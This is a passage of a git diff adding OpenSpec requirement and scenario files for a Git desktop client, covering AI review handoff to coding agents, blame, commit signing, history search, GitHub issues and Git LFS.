latest reachable tag is `v1.2.3` +- **THEN** From is `v1.2.3`, To is HEAD and the version field suggests `1.2.4` + +#### Scenario: No tags +- **WHEN** the repository has no tags +- **THEN** From defaults to the root commit and the dialog says so + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** Generate is hidden and Export commit list is still offered + +### Requirement: Range preview lists commits and pull requests +The dialog SHALL list the non-merge commits in `from..to` with short SHA and subject, and the pull request numbers found from merge commit subjects and squash-merge subjects, counting each PR once. Ranges over 500 commits SHALL be reduced to subjects only, flagged as truncated, with a suggestion to narrow the range. An empty range SHALL disable Generate. + +#### Scenario: Squash and merge PRs +- **WHEN** the range contains a merge commit for PR 12 and a squash commit whose subject ends in `(#13)` +- **THEN** the preview lists PRs 12 and 13 once each + +#### Scenario: Large range +- **WHEN** the range contains more than 500 commits +- **THEN** only subjects are gathered, the result is marked truncated and the dialog suggests narrowing the range + +### Requirement: Generated notes are categorized and reference-checked +Generation SHALL request sections limited to Breaking changes, Features, Fixes, Performance, Docs and Internal, each item citing at least one PR number or commit from the range. GitGood SHALL remove references not in the range, move items left without references to an **unreferenced** review list instead of showing them, merge duplicate sections, render sections in the fixed order, cap items at 200 characters, and list every commit or PR in range that no item cites so omissions are visible. The Markdown SHALL be assembled by GitGood from the validated sections with a version heading and date; the model SHALL NOT emit the document structure. Generation SHALL be cancellable and keep the preview list. + +#### Scenario: Invalid reference removed +- **WHEN** an item cites `#999`, which is not in the range, and also cites `abc1234`, which is +- **THEN** the rendered bullet cites only `abc1234` + +#### Scenario: Item without valid references +- **WHEN** an item's only reference is not in the range +- **THEN** the item is shown in the unreferenced review list, not in the notes + +#### Scenario: Omitted commit surfaced +- **WHEN** a commit in the range is cited by no item +- **THEN** it appears in the unreferenced list with an Add action that appends a plain bullet for it + +### Requirement: Editing, copying and inserting into the changelog +The result SHALL be editable as Markdown with a rendered preview toggle and a **Copy Markdown** action. **Insert into CHANGELOG.md** SHALL prepend the notes under the file's top heading, or create the file when absent, preserving the file's line endings, and SHALL then show the file in the Changes tab for the user to commit. Nothing SHALL be written without this explicit action. + +#### Scenario: Existing changelog +- **WHEN** `CHANGELOG.md` exists with a top-level heading and CRLF line endings +- **THEN** the notes are inserted directly below that heading and the file keeps CRLF endings + +#### Scenario: No changelog +- **WHEN** `CHANGELOG.md` does not exist +- **THEN** it is created with a top heading and the notes, and appears as a new file in Changes + +### Requirement: GitHub release creation is explicit and defaults to draft +**Create GitHub release…** SHALL open a confirmation with the tag (existing or to be created at To), title, body from the editor, Draft (default on) and Pre-release options. When a release already exists for the tag, the dialog SHALL offer to open it instead of creating one. When the tag does not exist, the confirmation SHALL say the tag will be created at the To commit. The action SHALL be unavailable with a reason when GitHub CLI is not signed in. Success SHALL show a toast linking to the release. + +#### Scenario: Draft release +- **WHEN** the user confirms with defaults +- **THEN** a draft release is created for the tag and the toast links to its URL + +#### Scenario: Existing release +- **WHEN** a release already exists for the chosen tag +- **THEN** the dialog offers Open existing and does not create a duplicate + +#### Scenario: Not signed in +- **WHEN** GitHub CLI is not authenticated +- **THEN** the release action is disabled and explains that sign-in is required diff --git a/openspec/specs/ai-review-agent-handoff/spec.md b/openspec/specs/ai-review-agent-handoff/spec.md new file mode 100644 index 0000000..ccbf91e --- /dev/null +++ b/openspec/specs/ai-review-agent-handoff/spec.md @@ -0,0 +1,139 @@ +# ai-review-agent-handoff Specification + +## Purpose +Hands completed AI review findings to a terminal coding agent (Claude Code, Codex, omp or a custom command) through files in the repository's git directory, lets the agent ask GitGood for a re-review through a deep link, and packages the workflow as an installable agent plugin. + +## Requirements + +### Requirement: Review runs are exported to the repository +When a review run finishes (complete, cancelled or failed) or a finding's dismissal changes, GitGood SHALL write the run to `/gitgood/review/` where `` is the repository's git directory as reported by git, so linked worktrees get their own export. The export SHALL consist of `runs/.json`, `runs/.md`, and copies at `latest.json` and `latest.md` reflecting the most recently finished run for the repository regardless of target; re-exporting an older run (for example when one of its findings is dismissed) SHALL refresh that run's own files without replacing the newer `latest.*`. `previousRunId` SHALL name the newest earlier exported run of the same target, and MUST NOT name a run that finished later. Each file SHALL be written to a temporary name and renamed into place. Runs beyond the review store's per-repository cap SHALL be pruned oldest first. Export failures SHALL be logged and MUST NOT fail the review. + +#### Scenario: Pre-commit review completes +- **WHEN** a pre-commit review finishes with two findings +- **THEN** `latest.json` exists under the repository's git directory with both findings and `runs/.json` holds the same content + +#### Scenario: Linked worktree +- **WHEN** the reviewed repository is a linked git worktree whose `.git` is a file +- **THEN** the export lands under that worktree's own git directory, not the main repository's + +#### Scenario: Export directory not writable +- **WHEN** the git directory cannot be written +- **THEN** the review still completes and shows its findings, and a warning is logged + +#### Scenario: Dismissal updates the export +- **WHEN** the user dismisses a finding of the exported run +- **THEN** the run's JSON and Markdown are rewritten with that finding marked dismissed + +#### Scenario: Dismissal on a superseded run +- **WHEN** a newer run of another target has been exported and the user then dismisses a finding on the older run +- **THEN** the older run's own files are rewritten and `latest.*` still describe the newer run + +### Requirement: Export content +`latest.json` and each `runs/.json` SHALL contain a `version` number, the run id, the previous run id for the same target or null, the repository path, the target (pull request number and SHAs, branch names and SHAs, or the pre-commit paths), the provider and model, start and finish times, the verdict and summary, the per-file review status, the count of findings dropped by validation, and every finding with its id, path, line range, severity, category, title, detail, suggestion, confidence and dismissed flag. Paths SHALL use forward slashes. The Markdown twin SHALL open with an instruction block for an agent, then list non-dismissed findings grouped by file and ordered blocker, warning, nit, each with its id, line range, title, detail and suggestion in a fenced block. The instruction block SHALL name the exact re-review command for the current platform for a pre-commit run, and for a pull request or branch run SHALL instead tell the agent not to request a re-review and to report its changes for the user to commit; the JSON's `rerun` field SHALL be null for those targets. Dismissed findings SHALL appear in the JSON with `dismissed: true` and SHALL be omitted from the Markdown. + +#### Scenario: Ordering +- **WHEN** a run has a nit at line 3 and a blocker at line 40 in the same file +- **THEN** the Markdown lists the blocker before the nit + +#### Scenario: Suggestion with CRLF content +- **WHEN** a finding's suggestion contains CRLF line endings +- **THEN** the Markdown fenced block preserves the suggestion text and the JSON keeps it byte for byte + +#### Scenario: Windows repository path +- **WHEN** the repository is at `C:\work\app` on Windows +- **THEN** the JSON `repoPath` is the native path and every finding path uses forward slashes + +#### Scenario: Instruction block +- **WHEN** an agent reads `latest.md` for a pre-commit run +- **THEN** the first section tells it to fix findings in severity order file by file, to trust title and detail over line numbers once a file changed, not to commit, and how to request a re-review + +#### Scenario: Pull request run cannot be verified by a re-review +- **WHEN** an agent reads the export of a pull request or branch run +- **THEN** `rerun` is null and the instruction block tells it not to request a re-review because that review reads committed history, and to report its changes for the user to commit + +### Requirement: Re-review deep link +GitGood SHALL accept `gitgood://review/rerun?repo=`. When the path matches a repository in the repository list (case-insensitively on Windows and macOS), GitGood SHALL bring its window to the front and open that repository. When the most recent finished run was a pre-commit run it SHALL re-run the pre-commit review over the currently included files. When it was a pull request or branch run GitGood MUST NOT start a review, because that review reads committed history and would repeat its findings; it SHALL show a toast saying the fixes must be committed first, offering to review the pending changes instead. A run already in progress SHALL be left alone and a toast SHALL say so. When no repository matches, no run exists, or the AI provider is disabled, GitGood SHALL show a toast explaining why nothing ran and MUST NOT start a review. + +#### Scenario: Rerun after agent edits +- **WHEN** an agent has edited two reviewed files and opens the rerun link for the repository +- **THEN** GitGood focuses, re-runs the latest review, and the new export replaces `latest.json` with a new run id whose `previousRunId` is the old run id + +#### Scenario: Unknown repository +- **WHEN** the link names a path that is not in the repository list +- **THEN** a toast reads that the repository is not open in GitGood and nothing runs + +#### Scenario: Run in progress +- **WHEN** a review is already running for that repository +- **THEN** the link is ignored with a toast and the running review continues + +#### Scenario: Latest run is a pull request review +- **WHEN** the most recent finished run for the repository is a pull request or branch review +- **THEN** no review is started and a toast explains that the fixes must be committed first, with an action that reviews the pending changes + +#### Scenario: Malformed link +- **WHEN** the URL has no `repo` parameter or a different path segment +- **THEN** the URL is ignored without an error dialog + +### Requirement: Fix with agent action +The pull request review panel and the pre-commit findings strip SHALL offer a **Fix with agent** action when the run has at least one non-dismissed finding and the AI provider is enabled; the action SHALL be hidden when the provider is disabled and SHALL be disabled while a review is running. Activating it SHALL rewrite the export, then open the repository in the user's configured terminal running the configured agent command with `{file}` replaced by the path of the run's exported Markdown, escaped for the shell that terminal parses the command with. When the export cannot be written, or the configured command is not usable, the action SHALL report that and MUST NOT open a terminal. The first activation SHALL show a one-time notice that the findings, including diff excerpts, are handed to the chosen agent. + +#### Scenario: Launch Claude Code +- **WHEN** the agent preset is Claude Code and the user activates Fix with agent on a pre-commit run +- **THEN** a terminal opens in the repository root running `claude` with a prompt that names `latest.md` + +#### Scenario: Provider disabled +- **WHEN** the AI provider is disabled +- **THEN** no Fix with agent action is rendered + +#### Scenario: Zero live findings +- **WHEN** every finding is dismissed +- **THEN** the action is not shown + +#### Scenario: Terminal cannot run a command +- **WHEN** the configured terminal has no way to run a command in a new window +- **THEN** GitGood opens the terminal in the repository, copies the agent command to the clipboard, and shows a toast saying to paste it + +#### Scenario: No terminal found +- **WHEN** no terminal application is found +- **THEN** the existing "Configure one in Options → Integrations" error is shown and nothing launches + +#### Scenario: Custom command not yet filled in +- **WHEN** the agent is set to Custom and its template is empty or has no `{file}` +- **THEN** activating the action reports that the agent command must be set and opens no terminal + +#### Scenario: Export cannot be written +- **WHEN** the git directory is not writable +- **THEN** the action reports the failure and opens no terminal, even if an export from an earlier run is still on disk + +### Requirement: Agent command setting +Options → AI SHALL offer an **Agent for fixes** choice with presets Claude Code, Codex and omp and a Custom entry holding a command template. The template MUST contain `{file}`; saving a custom template without it SHALL be refused with an inline message. The setting SHALL default to Claude Code and SHALL be included in portable settings exports as a preference. + +#### Scenario: Custom template validation +- **WHEN** the user enters a custom template without `{file}` +- **THEN** the field shows "The command must contain {file}" and the previous value stays in effect + +#### Scenario: Preset expansion +- **WHEN** the preset is Codex +- **THEN** the launched command is `codex` with a prompt that names `latest.md` + +### Requirement: Agent plugin folder +The repository SHALL contain a `plugin/` folder installable by Claude Code, Codex and omp from the same files: a Claude Code manifest, a Codex manifest, an omp package file, one `gitgood-review` skill, a slash command, a JSON hooks file with a session-start hook for Claude Code and Codex, and a session-start hook module for omp. The repository root SHALL carry a marketplace manifest listing the plugin. The skill SHALL instruct the agent to read `latest.json`, fix findings in severity order file by file, trust title and detail over line numbers once a file changed, never commit, trigger the re-review link, and re-read the export afterwards instead of reusing finding ids. The session-start hooks SHALL print one line naming the count of non-dismissed findings when an export with findings exists in the current repository and SHALL stay silent otherwise. Hook scripts MUST work with only git and a POSIX shell or Node available and MUST exit successfully when the export is absent. + +#### Scenario: Hook with findings +- **WHEN** an agent session starts in a repository whose `latest.json` has three non-dismissed findings +- **THEN** the hook prints one line stating three findings and naming the slash command + +#### Scenario: Hook without export +- **WHEN** the repository has no export +- **THEN** the hook prints nothing and exits successfully + +#### Scenario: Skill metadata +- **WHEN** any of the three tools loads the skill +- **THEN** its SKILL.md frontmatter has `name` and `description` and the description names review findings from GitGood as the trigger + +### Requirement: Data handling +The export MUST contain only data already present in the review run; it MUST NOT include API keys, tokens or the raw diff beyond finding suggestions. Launching the agent MUST NOT pass secrets or environment variables beyond the user's normal terminal environment. + +#### Scenario: Export contents +- **WHEN** an export is inspected +- **THEN** it contains no provider credentials and no field that was not in the persisted run diff --git a/openspec/specs/blame/spec.md b/openspec/specs/blame/spec.md new file mode 100644 index 0000000..b67829d --- /dev/null +++ b/openspec/specs/blame/spec.md @@ -0,0 +1,55 @@ +# blame Specification + +## Purpose +Shows, for every line of a text file, which commit and author last changed it, and lets the user navigate from a line to its commit or re-blame the file before that commit. + +## Requirements + +### Requirement: Blame gutter for text files +The user SHALL be able to toggle a blame layer for any text file shown in the diff pane, from the Changes tab (working-tree content), the History tab (content at the selected commit), the diff pane header menu or a keyboard shortcut. The layer SHALL show one gutter block per run of consecutive lines from the same commit with the abbreviated SHA, author and relative date, coloured by commit age within the file. Lines not yet committed SHALL be labelled "Not committed yet". Blame SHALL be unavailable for binary, image, submodule and too-large files, and the menu item SHALL be disabled with a tooltip saying why. + +#### Scenario: Blame the working tree file +- **WHEN** the user toggles Blame on a file in the Changes tab +- **THEN** every line shows a gutter block for its last commit, and uncommitted lines are labelled "Not committed yet" + +#### Scenario: Blame at a commit +- **WHEN** the user toggles Blame on a file selected in History +- **THEN** the file content at that commit is blamed and no block references a later commit + +#### Scenario: Binary file +- **WHEN** the selected file is binary or too large +- **THEN** the Blame item is disabled and its tooltip explains that blame is only available for text files + +#### Scenario: Whitespace-only changes +- **WHEN** the ignore-whitespace blame setting is on +- **THEN** commits that only changed whitespace are skipped when attributing lines + +### Requirement: Blame hover card and navigation +Hovering or focusing a gutter block SHALL show a card with the commit summary, author, full date and actions "Open commit", "Copy SHA" and "Blame at parent". "Open commit" SHALL select that commit in History. "Blame at parent" SHALL re-blame the file as it was before that commit, using the file's path at that time. Actions that require a commit SHALL be disabled for uncommitted lines. The card MUST be reachable by keyboard. + +#### Scenario: Open commit +- **WHEN** the user clicks "Open commit" on a block +- **THEN** the History tab shows that commit selected with its files listed + +#### Scenario: Blame at parent across a rename +- **WHEN** the user chooses "Blame at parent" on a block whose commit renamed the file +- **THEN** the blame is recomputed at the parent commit using the file's former path + +#### Scenario: Uncommitted block +- **WHEN** the card is opened for a "Not committed yet" block +- **THEN** "Open commit" and "Blame at parent" are disabled + +#### Scenario: Keyboard access +- **WHEN** a gutter block has focus and the user presses Enter +- **THEN** the hover card opens + +### Requirement: Blame limits and shallow clones +Blame SHALL be limited to files of at most 20,000 lines, showing the too-large placeholder above that. In a shallow clone, the layer SHALL show "History truncated (shallow clone)" when attribution reaches the shallow boundary. + +#### Scenario: Very large file +- **WHEN** the file has more than 20,000 lines +- **THEN** the too-large placeholder is shown and no blame is computed + +#### Scenario: Shallow clone +- **WHEN** the repository is a shallow clone +- **THEN** the blame layer shows the truncation notice diff --git a/openspec/specs/commit-signing/spec.md b/openspec/specs/commit-signing/spec.md new file mode 100644 index 0000000..ce33707 --- /dev/null +++ b/openspec/specs/commit-signing/spec.md @@ -0,0 +1,76 @@ +# commit-signing Specification + +## Purpose +Lets users configure and test GPG or SSH commit signing, see whether commits in history carry valid signatures, and recover cleanly when a commit cannot be signed. + +## Requirements + +### Requirement: Configure signing at repository or global scope +The system SHALL provide a Commit signing section in Options → Git with a format choice (Off, GPG, SSH), a key, a sign-all-commits toggle, a sign-tags toggle and a scope selector (this repository or global). Saving MUST write the corresponding git configuration at the chosen scope, and turning signing off MUST only disable signing without changing other values. + +#### Scenario: Enable SSH signing for one repository +- **WHEN** the user selects SSH, picks a public key file, enables sign all commits and saves with scope *This repository* +- **THEN** the repository's git configuration has the SSH format, the key path as signing key and commit signing enabled, and the global configuration is unchanged + +#### Scenario: Turn signing off +- **WHEN** the user selects Off and saves +- **THEN** commit signing is disabled at the chosen scope and the previously configured key and format remain stored + +### Requirement: Detect and pick keys +The system SHALL list available GPG secret keys matching the configured email and available SSH public keys, and MUST store the signing key in the form git expects: a key ID for GPG, a file path for an SSH key file, or the literal-key form for a pasted SSH public key. The system MUST NOT save a key that could not be found. + +#### Scenario: Detect GPG keys +- **WHEN** the user clicks *Detect keys* with GPG selected +- **THEN** the picker lists each secret key with its ID, identity and expiry, highlighting keys whose email matches the commit email + +#### Scenario: Pasted SSH key +- **WHEN** the user pastes an SSH public key string instead of choosing a file +- **THEN** the stored signing key uses the literal-key form recognised by git + +#### Scenario: Unknown key rejected +- **WHEN** the user enters a GPG key ID that does not exist in the keyring and saves +- **THEN** the system refuses to save and explains that the key was not found + +### Requirement: Test signing +The system SHALL offer a Test signing action that produces a signature with the configured setup and reports one of: success, passphrase required, or a distinct error such as signing program not found or SSH version too old. + +#### Scenario: Missing program +- **WHEN** GPG is selected and no GPG program can be found +- **THEN** the test reports that the signing program is missing with an install hint, and key detection is disabled with the same hint + +#### Scenario: Passphrase required +- **WHEN** the GPG key needs a passphrase and no agent has it cached +- **THEN** the test reports that a passphrase is required and explains that a graphical pinentry or running agent is needed because the app cannot show terminal prompts + +### Requirement: Signing failure during commit +The system SHALL, when git fails to sign a commit or an amend, show a dialog stating the classified cause with the raw error available, offering Retry, Commit unsigned this time, and Open signing settings. Commit unsigned MUST complete the same commit without a signature and without changing configuration. + +#### Scenario: Commit unsigned this time +- **WHEN** a commit fails because the signing key is missing and the user chooses *Commit unsigned this time* +- **THEN** the commit is created without a signature, the signing configuration is unchanged and the next commit attempts signing again + +#### Scenario: Failure during history rewrite +- **WHEN** signing fails while rewriting commits during a squash or reword +- **THEN** the rewrite stays in progress, the existing in-progress banner is shown and the dialog offers the same recovery choices + +### Requirement: Signature badges in history +The system SHALL, when signature verification is enabled in settings, show a badge on each commit in History indicating good, bad, unknown key, expired, revoked or untrusted signature, with the signer identity shown on hover and in the details pane. When verification is disabled the system MUST NOT verify signatures and history loading performance MUST be unchanged. + +#### Scenario: Good signature +- **WHEN** verification is enabled and a commit has a valid signature from a known key +- **THEN** the commit shows a good-signature badge and hovering shows the signer's name + +#### Scenario: Unknown SSH signer +- **WHEN** verification is enabled, a commit is SSH-signed and no allowed-signers file is configured +- **THEN** the commit shows an unknown-key badge whose tooltip explains that an allowed-signers file is needed for local verification + +#### Scenario: Verification off +- **WHEN** verification is disabled +- **THEN** no badges are shown and history loads without requesting signature information + +### Requirement: Commit form indicates signing +The system SHALL show a small indicator in the commit form when the effective configuration signs commits. + +#### Scenario: Indicator shown +- **WHEN** sign-all-commits is enabled at any scope that applies to the repository +- **THEN** the commit form shows the signing indicator diff --git a/openspec/specs/history/spec.md b/openspec/specs/history/spec.md index 911cb16..b552af9 100644 --- a/openspec/specs/history/spec.md +++ b/openspec/specs/history/spec.md @@ -7,14 +7,14 @@ The History tab lets a user browse, search and act on the commits of the current ## Requirements ### Requirement: Commit list is paged and searchable -The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. +The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. When a file history is active, the header SHALL show the file path with a control to clear it, the commit list SHALL contain only commits that touched that file, following renames, and the search box SHALL combine with the path filter. #### Scenario: Paging - **WHEN** the user scrolls to the end of the loaded commits and more commits exist - **THEN** the next page is appended without losing the current selection #### Scenario: Search by message or author -- **WHEN** the user types text that is not a SHA into the search box +- **WHEN** the user types text that is not a SHA and has no prefix into the search box - **THEN** the list shows only commits whose message or author matches the text, and the empty state reads "No commits match your search." when nothing matches #### Scenario: Search by SHA @@ -22,11 +22,51 @@ The History tab SHALL show the commits reachable from the current branch, newest - **THEN** the commit with that SHA is shown first if it exists, followed by commits matching the text by message or author #### Scenario: Path filter -- **WHEN** a path filter is active -- **THEN** only commits touching that path are listed +- **WHEN** a `path:` filter is active +- **THEN** only commits touching that pathspec are listed + +#### Scenario: File history filter +- **WHEN** a file history is active for a path +- **THEN** only commits touching that path, including under its earlier names, are listed and the header shows the path with a clear control + +#### Scenario: Clear file history +- **WHEN** the user clears the path chip +- **THEN** the full branch history returns and the search text is preserved + +#### Scenario: Content search +- **WHEN** the user types `content:needle` in a repository where one commit added `needle`, one changed a line containing it and one removed it +- **THEN** the list contains the adding and removing commits only + +#### Scenario: Regex search +- **WHEN** the user types `regex:^import` +- **THEN** the list contains exactly the commits whose diff has a line matching the expression, including commits that only changed such a line + +#### Scenario: Combined filters +- **WHEN** the user types `author:erwin after:2026-01-01 path:src/** fix` +- **THEN** only commits by a matching author, after that date, touching the path and matching "fix" by message are listed + +#### Scenario: All refs +- **WHEN** the query contains `all:` +- **THEN** commits from every branch, tag and remote are searched and each row shows the refs containing it + +#### Scenario: Popover round trip +- **WHEN** the user fills the filter popover and applies it +- **THEN** the search box shows the equivalent text syntax, and editing that text updates the popover fields + +#### Scenario: Query change cancels search +- **WHEN** the user changes the query while a search is running +- **THEN** the running git process is cancelled and only the new query's results are shown + +#### Scenario: Invalid regex +- **WHEN** the user types `regex:(` with unbalanced parentheses +- **THEN** an inline error appears under the search box and the commit list is not put into a loading state + +#### Scenario: Slow search +- **WHEN** a search has run for more than 5 seconds +- **THEN** a hint suggests narrowing with a `path:` filter and the search remains cancellable ### Requirement: Commit details with per-file stats -Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. +Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. When a file history is active, the tracked file's diff SHALL be shown first for the selected commit. #### Scenario: Select a commit - **WHEN** the user selects one commit @@ -36,6 +76,14 @@ Selecting a commit SHALL show its metadata (summary, description, author, date, - **WHEN** a changed file is binary - **THEN** its change counts are omitted and the diff pane shows the binary summary +#### Scenario: Select a commit in file history +- **WHEN** a file history is active and the user selects a commit +- **THEN** the diff shown first is that file's diff in the commit, under the name it had at that commit + +#### Scenario: Select a result of a content search +- **WHEN** a `content:` search is active and the user selects a matching commit +- **THEN** only files whose diff contains the text are listed and the first matching line is highlighted in the diff + ### Requirement: Commit actions From a commit the user SHALL be able to revert it, cherry-pick it to another branch, create a branch or tag from it, check it out (with confirmation), edit its message, drop it, and, for the newest commit, undo it or amend it. Actions that rewrite history SHALL run as an automated interactive rebase and SHALL report conflicts through the standard conflict flow. @@ -69,3 +117,29 @@ The user SHALL be able to select several commits and squash them into one, cherr #### Scenario: Reorder blocked during search - **WHEN** a search filter is active - **THEN** commit rows are not draggable + +### Requirement: File history entry points and file-at-commit actions +The user SHALL be able to open a file's history from the Changes tab, the History file list or the diff pane header menu. From a commit in file history the user SHALL be able to view the file as it was at that commit in a read-only viewer titled with the path and abbreviated SHA, blame the file at that commit, and restore that version to the working tree. Restore SHALL require confirmation and, when the file has uncommitted changes, SHALL offer to stash them first. + +#### Scenario: Open file history +- **WHEN** the user chooses "File history" on a file +- **THEN** the History tab switches to file history mode for that path + +#### Scenario: View file at commit +- **WHEN** the user chooses "View file at this commit" +- **THEN** a read-only view of the file content at that commit opens with a header naming the path and abbreviated SHA + +#### Scenario: Restore with uncommitted changes +- **WHEN** the user chooses "Restore this version" and the file has uncommitted changes +- **THEN** a confirmation offers to stash the current changes before the old content is written + +#### Scenario: Restore clean file +- **WHEN** the user confirms "Restore this version" for a file with no uncommitted changes +- **THEN** the working-tree file is overwritten with the historical content and appears as a change in the Changes tab + +### Requirement: Search history for selection +When text is selected in the diff pane, the user SHALL be able to search history for it from the context menu or a keyboard shortcut, which focuses the search box with a `content:` filter for the selection. + +#### Scenario: Search for selected text +- **WHEN** the user selects `computeTotal` in the diff and chooses "Search history for selection" +- **THEN** the History tab opens with `content:computeTotal` in the search box and results loading diff --git a/openspec/specs/issues/spec.md b/openspec/specs/issues/spec.md new file mode 100644 index 0000000..70494e2 --- /dev/null +++ b/openspec/specs/issues/spec.md @@ -0,0 +1,80 @@ +# issues Specification + +## Purpose +Lets users browse, filter, view, create and reference GitHub issues for the current repository without leaving the app, so commit messages and branch names can cite the right issue in one click. + +## Requirements + +### Requirement: Issues dialog lists and filters issues +The system SHALL provide an Issues dialog for the current repository, reachable from the Repository menu, a keyboard shortcut and the commit form, that lists issues with a free-text search and filters for state (open, closed, all), assigned to me, created by me, mentioned, labels and milestone. Filter choices MUST be remembered per repository across app restarts. + +#### Scenario: Filtered list loads +- **WHEN** the user opens the Issues dialog and enables the *Assigned to me* filter +- **THEN** the list shows only open issues assigned to the signed-in user, and the filter is still active the next time the dialog is opened for that repository + +#### Scenario: Empty filter result +- **WHEN** no issue matches the active filters +- **THEN** the list shows an empty state describing the active filter (for example *No open issues assigned to you*) rather than a blank pane + +#### Scenario: Loading more results +- **WHEN** the repository has more issues than the first page returned +- **THEN** the dialog offers a *Load more* action that appends older issues without duplicating those already shown + +### Requirement: Issue detail with comments and actions +The system SHALL show the selected issue's title, body, labels, assignees, milestone and its latest comments, with the body rendered as plain text with clickable links only. The detail view MUST offer Open on GitHub, Copy link, Copy `#N`, Reference in commit, Create branch for issue, Close or Reopen, and Comment. + +#### Scenario: Reference in commit +- **WHEN** the user clicks *Reference in commit* on issue 123 +- **THEN** the text `Fixes #123` (or `Refs #123` when chosen) is appended to the commit description in the Changes tab without replacing existing text + +#### Scenario: Create branch for issue +- **WHEN** the user clicks *Create branch for issue* on issue 123 titled "Fix login timeout" +- **THEN** the new-branch dialog opens pre-filled with `123-fix-login-timeout`, using only lowercase letters, digits and hyphens and at most 60 characters + +#### Scenario: Body is never rendered as HTML +- **WHEN** an issue body contains HTML or Markdown markup +- **THEN** the markup is shown as text with URLs turned into links, and no HTML is executed or rendered + +### Requirement: Close and reopen with confirmation +The system SHALL allow closing and reopening an issue from the detail view. Closing MUST ask for confirmation once, and the list MUST reflect the new state without a full reload. + +#### Scenario: Close an issue +- **WHEN** the user clicks *Close* and confirms +- **THEN** the issue is closed on GitHub and its row in the list updates to the closed state while other rows remain unchanged + +#### Scenario: Reopen an issue +- **WHEN** the user clicks *Reopen* on a closed issue +- **THEN** the issue is reopened on GitHub and the row updates to the open state + +### Requirement: Create issues from templates +The system SHALL let the user create an issue with a title, body, labels and assignees. When the repository has issue templates, the form MUST offer them in a dropdown and pre-fill title, body and labels from the chosen template. + +#### Scenario: Create with template +- **WHEN** the user picks the "Bug report" template, fills in the title and clicks *Create* +- **THEN** an issue is created on GitHub with the template body, its labels and the chosen assignees, and a toast links to the new issue + +#### Scenario: Template front matter parsed +- **WHEN** a template file declares `name`, `about`, `title` and `labels` in YAML front matter +- **THEN** the dropdown shows `name` and `about`, and selecting it pre-fills `title` and `labels`, with the front matter stripped from the body + +### Requirement: Degraded and error states +The system SHALL show an explanatory panel instead of an empty or broken list when issues are disabled on the repository, when the user is not signed in to GitHub, when the GitHub CLI is unavailable, or when the API is rate-limited. + +#### Scenario: Issues disabled on repository +- **WHEN** the repository has issues disabled +- **THEN** the dialog explains that issues are disabled and links to the repository settings page + +#### Scenario: Signed out +- **WHEN** the user is not signed in to GitHub +- **THEN** the dialog shows the same sign-in card used by the Pull Requests dialog + +#### Scenario: Rate limited +- **WHEN** GitHub returns a rate-limit error +- **THEN** the dialog shows the time the limit resets and pauses automatic list refreshes until then + +### Requirement: Fork handling +The system SHALL, when the current repository is a fork, offer a toggle to show the parent repository's issues, since issues normally live on the parent. + +#### Scenario: Fork toggle +- **WHEN** the repository is a fork and the user enables *Show parent repository issues* +- **THEN** the list and all actions target the parent repository's issues diff --git a/openspec/specs/lfs/spec.md b/openspec/specs/lfs/spec.md new file mode 100644 index 0000000..0aa2779 --- /dev/null +++ b/openspec/specs/lfs/spec.md @@ -0,0 +1,47 @@ +# lfs Specification + +## Purpose +Makes Git LFS visible and manageable inside the app: users can see which files are LFS pointers, whether LFS is installed and hooked, and fetch, pull, track or prune objects without the command line. + +## Requirements + +### Requirement: Detect LFS usage and installation +The system SHALL detect when a repository uses LFS (a `filter=lfs` attribute) and whether the LFS extension is installed. When the repository uses LFS and the extension is missing, the system MUST show a banner with platform-specific install instructions and disable LFS actions with the same hint. + +#### Scenario: LFS missing +- **WHEN** the repository's attributes use the LFS filter and `git lfs` is not installed +- **THEN** a banner explains that the repository uses Git LFS, which is not installed, with an install command for the current platform + +#### Scenario: LFS installed +- **WHEN** LFS is installed +- **THEN** the Git LFS dialog shows the version, whether hooks are installed, tracked patterns, tracked file count and local object size + +### Requirement: Pointer files are labelled +The system SHALL recognise LFS pointer files (content starting with the LFS pointer version line, with or without a trailing carriage return) in the Changes and History file lists and label them with an LFS chip. The diff pane MUST show an LFS summary with object size and the old and new object identifiers, and MUST render the image diff when both objects are present locally and are images. + +#### Scenario: Pointer changed +- **WHEN** a commit changes an LFS-tracked binary file +- **THEN** the file list shows the LFS chip and the diff pane shows the object size and both object identifiers instead of a binary placeholder + +#### Scenario: Image with local objects +- **WHEN** both versions of an LFS-tracked image are present locally +- **THEN** the diff pane shows the image diff modes used for regular images + +#### Scenario: Missing object +- **WHEN** a pointer file's object is not present locally +- **THEN** the diff pane offers *Download* which fetches that object and then displays the summary or image diff + +### Requirement: Manage LFS from a dialog +The system SHALL provide a Git LFS dialog with Install hooks, Track pattern, Untrack, Fetch all LFS objects, Pull LFS objects and Prune. Track and Untrack MUST update the attributes file and stage it. Prune MUST show the dry-run count and size and require confirmation before deleting. Fetch and pull MUST show progress and be cancellable. + +#### Scenario: Track a pattern +- **WHEN** the user tracks `*.psd` +- **THEN** the attributes file contains the LFS filter rule for `*.psd`, preserving its existing line endings, and the file is staged + +#### Scenario: Prune with confirmation +- **WHEN** the user clicks *Prune* +- **THEN** the dialog shows how many objects and bytes would be removed and deletes them only after the user confirms + +#### Scenario: Hooks missing +- **WHEN** LFS is installed but hooks are not installed for the repository +- **THEN** the status card warns that pushes would upload pointers only and offers *Install hooks* diff --git a/openspec/specs/notifications-inbox/spec.md b/openspec/specs/notifications-inbox/spec.md new file mode 100644 index 0000000..10b2dd7 --- /dev/null +++ 